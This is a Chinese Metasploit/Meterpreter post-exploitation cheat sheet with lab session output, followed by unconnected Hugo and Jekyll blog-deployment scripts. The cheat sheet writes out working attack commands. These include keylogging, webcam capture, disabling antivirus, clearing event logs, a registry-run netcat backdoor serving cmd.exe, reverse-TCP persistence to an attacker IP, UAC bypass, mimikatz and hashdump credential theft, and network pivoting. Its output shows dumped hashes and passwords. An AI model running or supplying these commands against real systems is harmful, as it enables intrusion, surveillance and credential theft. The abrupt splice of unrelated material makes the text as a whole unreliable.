1# 安装
 2curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
 3
 4# 安装完成后位置
 5# /opt/metasploit-framework/embedded/framework/
 6
 7# 目录结构 
 8--modules 重点看这里就行了
 9  --auxiliary 主要包含辅助性脚本(扫描、嗅探、注入、爆破，漏洞挖掘)
10  --encoders 主要包含各种编码工具，以便绕过入侵检测和过滤系统
11  --exploits 漏洞利用，包含主流的漏洞利用脚本，exp命名规则:系统/服务/模块
12  --nops 绕过针对溢出攻击滑行字符串的拦截检测
13  --payloads 攻击荷载，主要在目标机器执行代码
14  --post 此目录放着msf的exploit执行成功后，向目标发送的一些功能性指令，如提权，获取hash等
15  --evasion 新增，用来生成免杀payload，类似于集成msfvenom功能
16--data 放了meterpreter ，passiveX，vnc，DLLs，等这些工具和一些用户接口代码，msfweb 和一些其他模块用到的数据文件
17--plugins 这里的模块用户需要load来加载，提供数据库连接插件和各种要用到的插件
18--scripts 这个目录下的文件大都是meterpreter这个模块利用的脚本，比如用到migrate来转移到其他进程的指令的源代码就在此
19--tools 包含一些有用的脚本和零散的工具

 1-p, --payload    <payload>       指定需要使用的payload(攻击荷载)
 2-l, --list       [module_type]   列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
 3-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
 4-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
 5-e, --encoder    [encoder]       指定需要使用的encoder（编码器）
 6-a, --arch       <architecture>  指定payload的目标架构
 7    --platform   <platform>      指定payload的目标平台
 8-s, --space      <length>        设定有效攻击荷载的最大长度
 9-b, --bad-chars  <list>          设定规避字符集，比如: &#039;\x00\xff&#039;
10-i, --iterations <count>         指定payload的编码次数
11-c, --add-code   <path>          指定一个附加的win32 shellcode文件
12-x, --template   <path>          指定一个自定义的可执行文件作为模板
13-k, --keep                       保护模板程序的动作，注入的payload作为一个新的进程运行
14    --payload-options            列举payload的标准选项
15-o, --out   <path>               保存payload
16-v, --var-name <name>            指定一个自定义的变量，以确定输出格式
17    --shellest                   最小化生成payload
18-h, --help                       查看帮助选项
19    --help-formats               查看msf支持的输出格式列表

 1# 会话管理
 2background  #将当前会话放置后台
 3sessions  # 查看会话
 4sessions -i  # 切换会话
 5quit  # 关闭当前的会话，返回msf终端
 6
 7# 系统设置
 8sysinfo  # 查看目标机系统信息
 9idletime  # 查看目标机闲置时间
10reboot/shutdown   # 重启/关机
11
12# shell
13shell  # 获得控制台权限
14irb  # 进入ruby终端
15
16# 进程迁移
17getpid    # 获取当前进程的pid
18ps   # 查看当前活跃进程
19migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
20kill <pid值>   #杀死进程
21migrate <pid值>    #将Meterpreter会话移植到指定pid值进程中
22
23# 执行文件
24execute #在目标机中执行文件
25execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
26
27# 摄像头命令
28webcam_list  #查看摄像头列表
29webcam_chat  # 查看摄像头接口
30webcam_snap   #通过摄像头拍照
31webcam_stream   #通过摄像头开启视频
32
33# uictl开关键盘/鼠标
34uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
35uictl disable mouse  #禁用鼠标
36uictl disable keyboard  #禁用键盘
37
38# 远程桌面/截屏
39enumdesktops  #查看可用的桌面
40getdesktop    #获取当前meterpreter 关联的桌面
41screenshot  #截屏
42use espia  #或者使用espia模块截屏  然后输入screengrab
43run vnc  #使用vnc远程桌面连接
44
45# 键盘记录
46keyscan_start  #开始键盘记录
47keyscan_dump   #导出记录数据
48keyscan_stop #结束键盘记录
49
50# 添加用户，开启远程桌面
51# 开启rdp是通过reg修改注册表；添加用户是调用cmd.exe 通过net user添加；端口转发是利用的portfwd命令
52run post/windows/manage/enable_rdp  #开启远程桌面
53run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户
54run post/windows/manage/enable_rdp FORWARD=true LPORT=6662  #将3389端口转发到6662
55
56# 关闭防病毒软件
57run killav
58run post/windows/manage/killav
59
60# 修改注册表
61reg –h # 注册表命令帮助
62upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc
63reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的key
64reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #设置键值
65reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值
66nc -v 192.168.81.162 443  #攻击者连接nc后门
67
68# 清理日志
69clearav  #清除windows中的应用程序日志、系统日志、安全日志

 1# 基本
 2ipconfig/ifconfig
 3netstat –ano
 4arp
 5getproxy   #查看代理信息
 6route   #查看路由
 7
 8# portfwd端口转发
 9portfwd add -l 6666 -p 3389 -r 127.0.0.1 # 将目标机的3389端口转发到本地6666端口
10rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接，-u 用户名 -p 密码
11
12
13# 添加路由
14
15# 方式一autoroute （deprecated）
16run autoroute –h #查看帮助
17run autoroute -s 192.168.2.0/24  #添加到目标环境网络
18run autoroute –p  #查看添加的路由
19# 方式二post/multi/manage/autoroute
20run post/multi/manage/autoroute CMD=autoadd #自动添加到目标环境网络
21run post/multi/manage/autoroute CMD=print # 查看添加的路由
22(Specify the autoroute command (Accepted: add, autoadd, print, delete, default))
23
24# 然后可以利用arp_scanner、portscan等进行扫描
25run arp_scanner -r 192.168.2.0/24
26run post/multi/gather/ping_sweep RHOSTS=192.168.2.0/24
27run auxiliary/scanner/portscan/tcp RHOSTS=192.168.2.0
28
29# autoroute添加完路由后，还可以利用msf自带的模块进行socks代理
30# msf提供了2个模块用来做socks代理。
31# auxiliary/server/socks_proxy
32# use auxiliary/server/socks_unc
33# 先background退出来，然后：
34use auxiliary/server/socks_proxy
35set srvhost 127.0.0.1
36set srvport 1080
37run
38
39# 然后vi /etc/proxychains.conf #添加 socks5 127.0.0.1 1080
40# 最后proxychains 使用Socks5代理访问
41
42# sniffer抓包
43use sniffer
44sniffer_interfaces   #查看网卡
45sniffer_start 2   #选择网卡 开始抓包
46sniffer_stats 2   #查看状态
47sniffer_dump 2 /tmp/lltest.pcap  #导出pcap数据包
48sniffer_stop 2   #停止抓包

 1# 示例
 2meterpreter > getuid
 3Server username: SAUCERMAN\TideSec
 4meterpreter > background
 5[*] Backgrounding session 4...
 6msf5 exploit(multi/handler) >  use exploit/windows/local/bypassuac
 7msf5 exploit(windows/local/bypassuac) > set SESSION 4
 8SESSION => 4
 9msf5 exploit(windows/local/bypassuac) > run
10
11[-] Handler failed to bind to 192.168.81.160:4444:-  -
12[-] Handler failed to bind to 0.0.0.0:4444:-  -
13[*] UAC is Enabled, checking level...
14[+] UAC is set to Default
15[+] BypassUAC can bypass this setting, continuing...
16[+] Part of Administrators group! Continuing...
17[*] Uploaded the agent to the filesystem....
18[*] Uploading the bypass UAC executable to the filesystem...
19[*] Meterpreter stager executable 73802 bytes long being uploaded..
20[*] Sending stage (206403 bytes) to 192.168.81.154
21[*] Meterpreter session 5 opened (192.168.81.160:4444 -> 192.168.81.154:1134) at 2019-06-12 06:31:11 -0700
22[-] Exploit failed [timeout-expired]: Timeout::Error execution expired
23[*] Exploit completed, but no session was created.
24
25# 然后返回新的meterpreter会话，继续执行getsystem本应该会提权成功
26# 然鹅这里失败了

 1meterpreter > run post/windows/gather/enum_patches  #查看补丁信息
 2msf5 > use exploit/windows/local/ms13_053_schlamperei
 3msf5 > set SESSION 2
 4msf5 > exploit
 5
 6# 示例
 7meterpreter > run post/windows/gather/enum_patches
 8
 9[+] KB2871997 is missing
10[+] KB2928120 is missing
11[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
12[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
13[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
14[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
15[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
16[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
17meterpreter > background
18[*] Backgrounding session 4...
19msf5 exploit(windows/local/bypassuac) > search MS13-081
20
21Matching Modules
22================
23
24   #  Name                                             Disclosure Date  Rank     Check  Description
25   -  ----                                             ---------------  ----     -----  -----------
26   0  exploit/windows/local/ms13_081_track_popup_menu  2013-10-08       average  Yes    Windows TrackPopupMenuEx Win32k NULL Page
27
28
29msf5 exploit(windows/local/bypassuac) > use exploit/windows/local/ms13_081_track_popup_menu
30msf5 exploit(windows/local/ms13_081_track_popup_menu) > set session 4
31session => 4
32msf5 exploit(windows/local/ms13_081_track_popup_menu) > exploit
33
34[!] SESSION may not be compatible with this module.
35[-] Handler failed to bind to 192.168.81.160:4444:-  -
36[-] Handler failed to bind to 0.0.0.0:4444:-  -
37[-] Exploit aborted due to failure: no-target: Running against 64-bit systems is not supported
38[*] Exploit completed, but no session was created.
39# 然鹅失败了，摸摸头

 1load mimikatz    #help mimikatz 查看帮助
 2wdigest  #获取Wdigest密码
 3mimikatz_command -f samdump::hashes  #执行mimikatz原始命令
 4mimikatz_command -f sekurlsa::searchPasswords
 5
 6# 示例
 7meterpreter > load mimikatz
 8Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
 9Success.
10meterpreter > wdigest
11[!] Not currently running as SYSTEM
12[*] Attempting to getprivs ...
13[+] Got SeDebugPrivilege.
14[*] Retrieving wdigest credentials
15wdigest credentials
16===================
17
18AuthID    Package    Domain        User           Password
19------    -------    ------        ----           --------
200;997     Negotiate  NT AUTHORITY  LOCAL SERVICE  
210;996     Negotiate  WORKGROUP     SAUCERMAN$     
220;48748   NTLM                                    
230;999     NTLM       WORKGROUP     SAUCERMAN$     
240;476238  NTLM       SAUCERMAN     TideSec        123456
250;476209  NTLM       SAUCERMAN     TideSec        123456
26
27meterpreter > mimikatz_command -f samdump::hashes
28Ordinateur : saucerman
29BootKey    : 691cff33caf49e933be97fcee370256a
30RegOpenKeyEx SAM : (0x00000005) �ݿ� 
31Erreur lors de l'exploration du registre
32meterpreter > mimikatz_command -f sekurlsa::searchPasswords
33[0] { TideSec ; SAUCERMAN ; 123456 }
34[1] { TideSec ; SAUCERMAN ; 123456 }
35[2] { SAUCERMAN ; TideSec ; 123456 }
36[3] { SAUCERMAN ; TideSec ; 123456 }
37[4] { TideSec ; SAUCERMAN ; 123456 }
38[5] { TideSec ; SAUCERMAN ; 123456 }

 1meterpreter > run hashdump
 2
 3[!] Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump.
 4[!] Example: run post/windows/gather/smart_hashdump OPTION=value [...]
 5[*] Obtaining the boot key...
 6[*] Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
 7/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:134: warning: constant OpenSSL::Cipher::Cipher is deprecated
 8[*] Obtaining the user list and keys...
 9[*] Decrypting user keys...
10/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:268: warning: constant OpenSSL::Cipher::Cipher is deprecated
11/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:272: warning: constant OpenSSL::Cipher::Cipher is deprecated
12/opt/metasploit-framework/embedded/framework/lib/rex/script/base.rb:279: warning: constant OpenSSL::Cipher::Cipher is deprecated
13[*] Dumping password hints...
14
15TideSec:"123456"
16
17[*] Dumping password hashes...
18
19
20Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
21Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
22TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

 1meterpreter > run post/windows/gather/smart_hashdump
 2
 3[*] Running module against SAUCERMAN
 4[*] Hashes will be saved to the database if one is connected.
 5[+] Hashes will be saved in loot in JtR password file format to:
 6[*] /home/ubuntu/.msf4/loot/20190612084715_default_192.168.81.154_windows.hashes_439550.txt
 7[*] Dumping password hashes...
 8[*] Running as SYSTEM extracting hashes from registry
 9[*]     Obtaining the boot key...
10[*]     Calculating the hboot key using SYSKEY 691cff33caf49e933be97fcee370256a...
11[*]     Obtaining the user list and keys...
12[*]     Decrypting user keys...
13[*]     Dumping password hints...
14[+]     TideSec:"123456"
15[*]     Dumping password hashes...
16[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
17[+]     TideSec:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

 1run persistence –h  #查看帮助
 2run persistence -X -i 5 -p 4444 -r 192.168.81.160
 3#-X指定启动的方式为开机自启动，-i反向连接的时间间隔(5s) –r 指定攻击者的ip
 4# 示例
 5meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.81.160
 6
 7[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
 8[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
 9[*] Running Persistence Script
10[*] Resource file for cleanup created at /home/ubuntu/.msf4/logs/persistence/SAUCERMAN_20190612.4235/SAUCERMAN_20190612.4235.rc
11[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.81.160 LPORT=4444
12[*] Persistent agent script is 99630 bytes long
13[+] Persistent Script written to C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
14[*] Executing script C:\Users\TideSec\AppData\Local\Temp\qexwcMF.vbs
15[+] Agent executed with PID 3540
16[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua
17[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\qrsXZuPqVbEgua

 1run metsvc –A   #自动安装后门
 2
 3# 示例
 4meterpreter > run metsvc –A
 5
 6[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
 7[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
 8[*] Creating a meterpreter service on port 31337
 9[*] Creating a temporary installation directory C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH...
10[*]  >> Uploading metsrv.x86.dll...
11[*]  >> Uploading metsvc-server.exe...
12[*]  >> Uploading metsvc.exe...
13[*] Starting the service...
14    Cannot open service manager (0x00000005)
15
16meterpreter > ls
17Listing: C:\Users\TideSec\AppData\Local\Temp\iInvhjKZbLH
18========================================================
19
20Mode              Size    Type  Last modified              Name
21----              ----    ----  -------------              ----
22100666/rw-rw-rw-  178688  fil   2019-06-12 06:46:20 -0700  metsrv.dll
23100777/rwxrwxrwx  45056   fil   2019-06-12 06:46:21 -0700  metsvc-server.exe
24100777/rwxrwxrwx  61440   fil   2019-06-12 06:46:21 -0700  metsvc.exe

 1meterpreter > info post/windows/manage/persistence_exe
 2
 3       Name: Windows Manage Persistent EXE Payload Installer
 4     Module: post/windows/manage/persistence_exe
 5   Platform: Windows
 6       Arch: 
 7       Rank: Normal
 8
 9Provided by:
10  Merlyn drforbin Cousins <drforbin6@gmail.com>
11
12Compatible session types:
13  Meterpreter
14
15Basic options:
16  Name      Current Setting  Required  Description
17  ----      ---------------  --------  -----------
18  REXENAME  default.exe      yes       The name to call exe on remote system
19  REXEPATH                   yes       The remote executable to upload and execute.
20  SESSION                    yes       The session to run this module on.
21  STARTUP   USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
22
23Description:
24  This Module will upload an executable to a remote host and make it 
25  Persistent. It can be installed as USER, SYSTEM, or SERVICE. USER 
26  will start on user login, SYSTEM will start on system boot but 
27  requires privs. SERVICE will create a new service which will start 
28  the payload. Again requires privs.
29
30
31
32Module options (post/windows/manage/persistence_exe):
33
34   Name      Current Setting  Required  Description
35   ----      ---------------  --------  -----------
36   REXENAME  default.exe      yes       The name to call exe on remote system
37   REXEPATH                   yes       The remote executable to upload and execute.
38   SESSION                    yes       The session to run this module on.
39   STARTUP   USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)

 1meterpreter > background
 2[*] Backgrounding session 13...
 3msf5 auxiliary(server/socks5) > use exploit/windows/local/registry_persistence
 4msf5 exploit(windows/local/registry_persistence) > show options
 5
 6Module options (exploit/windows/local/registry_persistence):
 7
 8   Name           Current Setting  Required  Description
 9   ----           ---------------  --------  -----------
10   BLOB_REG_KEY                    no        The registry key to use for storing the payload blob. (Default: random)
11   BLOB_REG_NAME                   no        The name to use for storing the payload blob. (Default: random)
12   CREATE_RC      true             no        Create a resource file for cleanup
13   RUN_NAME                        no        The name to use for the 'Run' key. (Default: random)
14   SESSION                         yes       The session to run this module on.
15   SLEEP_TIME     0                no        Amount of time to sleep (in seconds) before executing payload. (Default: 0)
16   STARTUP        USER             yes       Startup type for the persistent payload. (Accepted: USER, SYSTEM)
17
18
19Exploit target:
20
21   Id  Name
22   --  ----
23   0   Automatic
24
25
26msf5 exploit(windows/local/registry_persistence) > set SESSION 13
27SESSION => 13
28msf5 exploit(windows/local/registry_persistence) > run
29
30[*] Generating payload blob..
31[+] Generated payload, 6048 bytes
32[*] Root path is HKCU
33[*] Installing payload blob..
34[+] Created registry key HKCU\Software\0BaG3zDR
35[+] Installed payload blob to HKCU\Software\0BaG3zDR\iiEB4InD
36[*] Installing run key
37[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SMPqA5kB
38[*] Clean up Meterpreter RC file: /home/ubuntu/.msf4/logs/persistence/192.168.81.154_20190612.2138/192.168.81.154_20190612.2138.rc

 1@echo off
 2echo 进入D:\Blog目录
 3cd /d "D:\Blog"
 4echo 开始构建站点
 5hugo --gc --minify
 6echo 进入D:\Blog\public目录
 7cd /d "D:\Blog\public"
 8echo 添加所有文件
 9git add .
10echo 提交代码
11git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "推送Hugo博客"
12echo 推送到Github仓库
13git push origin main
14echo 推送完成！
15pause
16@REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。
17@REM public内有git配置，分支是main，直接推送即可

 1@echo off
 2echo 进入D:\Blog目录
 3cd /d "D:\Blog"
 4
 5@REM echo 清空 public 目录内容（保留 .git）
 6@REM del /q public\*
 7@REM for /d %%x in (public\*) do rmdir /s /q "%%x"
 8
 9echo 删除 post、categories、tags 文件夹
10for %%d in (post categories tags) do rmdir /s /q "D:\Blog\public\%%d"
11@REM bat脚本里写 %%d ，终端里要写 %d
12
13echo 开始构建站点
14hugo --gc --minify
15
16echo 进入D:\Blog\public目录
17cd /d "D:\Blog\public"
18
19echo 添加所有文件
20git add -A
21
22echo 提交代码
23git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "推送Hugo博客"
24
25echo 推送到Github仓库
26git push --force origin main
27
28echo 推送完成！
29pause
30@REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。
31@REM public内有git配置，分支是main，直接推送即可
32@REM 详情参考：https://h4cker.zip/post/39697d/

 1@echo off
 2
 3:: ============================================================
 4:: 脚本说明：
 5:: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub
 6:: 2. public 目录内已配置 Git 远程仓库 (main 分支)
 7:: 3. 参考：https://h4cker.zip/post/39697d/
 8:: ============================================================
 9
10echo [1/6] 正在进入 D:\Blog 目录...
11cd /d "D:\Blog"
12
13echo [2/6] 清理 public 目录（保留 .git）...
14if exist public (
15    for /d %%x in (public\*) do (
16        if /i not "%%~nx"==".git" rmdir /s /q "%%x"
17    )
18    del /q public\*
19)
20
21echo [3/6] Hugo 开始构建站点...
22hugo --gc --minify
23
24echo [4/6] 进入 public 目录准备推送...
25cd /d "D:\Blog\public"
26
27echo [5/6] 提交更改...
28git add -A
29git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "站点更新：%date% %time%"
30
31echo [6/6] 推送到 Github 仓库...
32git push --force origin main
33
34cd ..
35echo.
36echo 推送任务已完成！
37pause

 1@echo off
 2
 3:: ============================================================
 4:: 脚本说明：
 5:: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub
 6:: 2. public 目录内已配置 Git 远程仓库 (main 分支)
 7:: 3. 参考：https://h4cker.zip/post/39697d/
 8:: ============================================================
 9
10echo [1/7] 正在进入 D:\Blog 目录...
11cd /d "D:\Blog"
12
13echo [2/7] 清理 public 目录（保留 .git）...
14if exist public (
15    for /d %%x in (public\*) do (
16        if /i not "%%~nx"==".git" rmdir /s /q "%%x"
17    )
18    del /q public\*
19)
20
21echo [3/7] Hugo 开始构建站点...
22hugo --gc --minify
23echo [4/7] 正在执行 AES-GCM 加密处理...
24py encrypt_process.py
25if %errorlevel% neq 0 (
26    echo 加密脚本执行失败，请检查 Python 依赖。
27    pause
28    exit /b %errorlevel%
29)
30
31echo [5/7] 进入 public 目录准备推送...
32cd /d "D:\Blog\public"
33
34echo [6/7] 提交更改...
35git add -A
36git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "站点更新：%date% %time%"
37
38echo [7/7] 推送到 Github 仓库...
39git push --force origin main
40
41cd ..
42echo.
43echo 推送任务已完成！
44pause

 1#!/bin/zsh
 2
 3BLOG_DIR="$HOME/Blog-jekyll"
 4
 5echo "[1/3] 进入博客..."
 6cd "$BLOG_DIR" || exit
 7
 8echo "[2/3] 添加文件..."
 9# 只有有变更时才提交
10if ! git diff --quiet || ! git diff --cached --quiet; then
11  git add -A
12  git commit -m "博客备份：$(date '+%Y-%m-%d %H:%M:%S')"
13else
14  echo "⚠️  无变更，跳过提交"
15fi
16
17echo "[3/3] 推送..."
18git push origin main  # 想替换全部文件为最新，加 --force
19
20echo "完成 ✔"

 1#!/bin/zsh
 2
 3BLOG_DIR="$HOME/Blog-jekyll"
 4SITE_DIR="$BLOG_DIR/_site"
 5
 6echo "[1/3] 构建 Jekyll..."
 7cd "$BLOG_DIR" || exit
 8bundle exec jekyll build
 9
10echo "[2/3] 提交静态文件..."
11cd "$SITE_DIR" || exit
12
13# 只有有变更时才提交
14if ! git diff --quiet || ! git diff --cached --quiet; then
15  git add -A
16  git commit --allow-empty -m "站点更新：$(date '+%Y-%m-%d %H:%M:%S')"
17else
18  echo "⚠️  无变更，跳过提交"
19fi
20
21echo "[3/3] 推送..."
22git push origin main  # 想替换全部文件为最新，加 --force
23
24echo "完成 ✔"